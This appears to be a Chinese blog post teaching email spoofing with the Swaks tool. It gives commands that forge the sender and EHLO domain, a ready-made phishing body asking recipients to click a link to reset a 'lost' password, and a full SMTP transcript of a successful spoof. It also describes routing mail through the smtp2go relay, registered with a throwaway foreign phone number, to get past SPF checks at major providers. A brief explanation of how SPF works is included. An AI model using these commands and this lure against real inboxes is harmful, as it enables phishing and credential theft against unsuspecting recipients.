使用Swaks绕过SPF验证进行邮件伪造

目录

swaks简介

swaks参数说明

伪造发送

绕过SPF

1.先配置smtp2go

 2.伪造邮件绕过

 3.SPF验证原理

4.总结

首先了解一下什么是Swaks。

swaks简介

Swaks是一个功能强大,灵活,可编写脚本,面向事务的SMTP测试工具,由John Jetmore编写和维护。

目前Swaks托管在私有svn存储库中。官方项目页面是Swaks - Swiss Army Knife for SMTP

下载安装:(kali系统下自带)

swaks参数说明

--to //收件人邮箱地址

--from test@qq.com //发件人邮箱;

--ehlo qq.com //伪造邮件ehlo头,即是发件人邮箱的域名。提供身份认证

--body "http://www.baidu.com" //引号中的内容即为邮件正文;

--header "Subject:hello" //邮件头信息,subject为邮件标题

--data ./Desktop/email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送

伪造发送

1.发送简单内容,个别邮箱没有SPF拦截,可以直接发送成功,例如网易邮箱,当被拦截后,就需要SPF绕过了,我们后面提到。(qq邮箱无法直接发送)

swaks --to XX@163.com --from gg@moakt.cc(临时邮箱)  --ehlo qq.com  --body 由于系统故障,导致密 码丢失,请点击如下链接登录平台修改密码。 --header "Subject: 系统故障" 
bject: 你好"   
=== Trying 163mx02.mxmail.netease.com:25...
=== Connected to 163mx02.mxmail.netease.com.
<-  220 163.com Anti-spam GT for Coremail System (163com[20141201])
 -> EHLO qq.com
<-  250-mail
<-  250-PIPELINING
<-  250-AUTH LOGIN PLAIN
<-  250-AUTH=LOGIN PLAIN
<-  250-coremail 1Uxr2xKj7kG0xkI17xGrU7I0s8FY2U3Uj8Cz28x1UUUUU7Ic2I0Y2UFjmjrBUCa0xDrUUUUj
<-  250-STARTTLS
<-  250-SIZE 73400320
<-  250 8BITMIME
 -> MAIL FROM:<gg@moakt.cc>
<-  250 Mail OK
 -> RCPT TO:<XX@163.com>
<-  250 Mail OK
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Wed, 16 Feb 2022 15:23:42 +0800
 -> To: shixin_11@163.com
 -> From: gg@moakt.cc
 -> Subject: 你好
 -> Message-Id: <20220216152342.002000@localdomain.localdomain>
 -> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
 -> 
 -> 测试效果
 -> 
 -> 
 -> .
<-  250 Mail OK queued as mx50,eMCowAA3GpFPpgxiEYhqDA--.2493S2 1644996183
 -> QUIT
<-  221 Bye
=== Connection closed with remote host.

qq邮箱被拦截

 邮件模板可自行根据实际情况进行修改。导出邮件eml文件。使用--data参数。

2.添加附件

--attach   XX.docx

绕过SPF

1.先配置smtp2go

smtp2go主要是相当于邮件托管,可以分发子账户进行发送。

注册地址:https://www.smtp2go.com/

(邮箱注册)普通账户可以免费发1000封邮件。

这时候需要在设置菜单中的uses中新建一个账号,密码可以自动生成或者自己修改。

 接着写入一个邮箱地址,点击继续。

输入用户和密码,电话需要填写国外的,找一个国外电话短信接收平台

短信平台:https://ch.freephonenum.com/

 进去之后添加用户就可以使用了

 2.伪造邮件绕过

--server 邮件服务器
-p 2525 端口号

-au 用户名

-ap 密码

swaks --to XX@XX --from tb@tmail.ws  --ehlo XX  --body 由于系统故障,导致密码丢失,请点击如下链接登录平台修改密码. --server mail.smtp2go.com -p 2525 -au XX -ap XX

可以给企业邮箱伪造邮件发送,目前是测试邮件,后续继续优化。

为什么会显示代发:

查看原始邮件会发现存在smtp.from以及From字段。smtp.from代表的就是真正发件人,收件服务器会去其代表的域下进行SPF记录校验,From字段是我们自定义的邮件Header字段,如果当两者不一致时,邮件服务商可能会在客户端显示代发,用来提示收件人邮件伪造攻击风险。

 3.SPF验证原理

SPF,全称为 Sender Policy Framework,即发件人策略框架。

当前 Email 通信,还是在使用 SMTP 这个协议。SMTP 的全称为 Simple Mail Transfer Protocol,即「简单邮件传输协议」。正如它的名字锁暗示的,SMTP 实际上是一个非常简单(甚至简陋)的传输协议,本身并没有很好的安全措施。根据 SMTP 的规则,发件人的邮箱地址是可以由发信方任意声明的。在 SMTP 协议制定的时候也许还好,但在垃圾和诈骗邮件横行的今天,这显然是极不安全的。

SPF 出现的目的,就是为了防止随意伪造发件人。

SPF 记录实际上是服务器的一个 DNS 记录,原理其实很简单:

假设邮件服务器收到了一封邮件,来自主机的 IP 是173.194.72.103,并且声称发件人为email@example.com。为了确认发件人不是伪造的,邮件服务器会去查询example.com的 SPF 记录。如果该域的 SPF 记录设置允许 IP 为173.194.72.103的主机发送邮件,则服务器就认为这封邮件是合法的;如果不允许,则通常会退信,或将其标记为垃圾/仿冒邮件。

因为不怀好心的人虽然可以「声称」他的邮件来自example.com,但是他却无权操作example.com的 DNS 记录;同时他也无法伪造自己的 IP 地址。因此 SPF 是很有效的,当前基本上所有的邮件服务提供商(例如 Gmail、QQ 邮箱等)都会验证它。

4.总结

经测试,通过swaks 加smtp2go中转服务器可以绕过icloud.com ,aliyun.com,gmail.com,163.com等邮箱的SPF进行邮件伪造。

#本文章借鉴渗透测试中心

  • 1
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值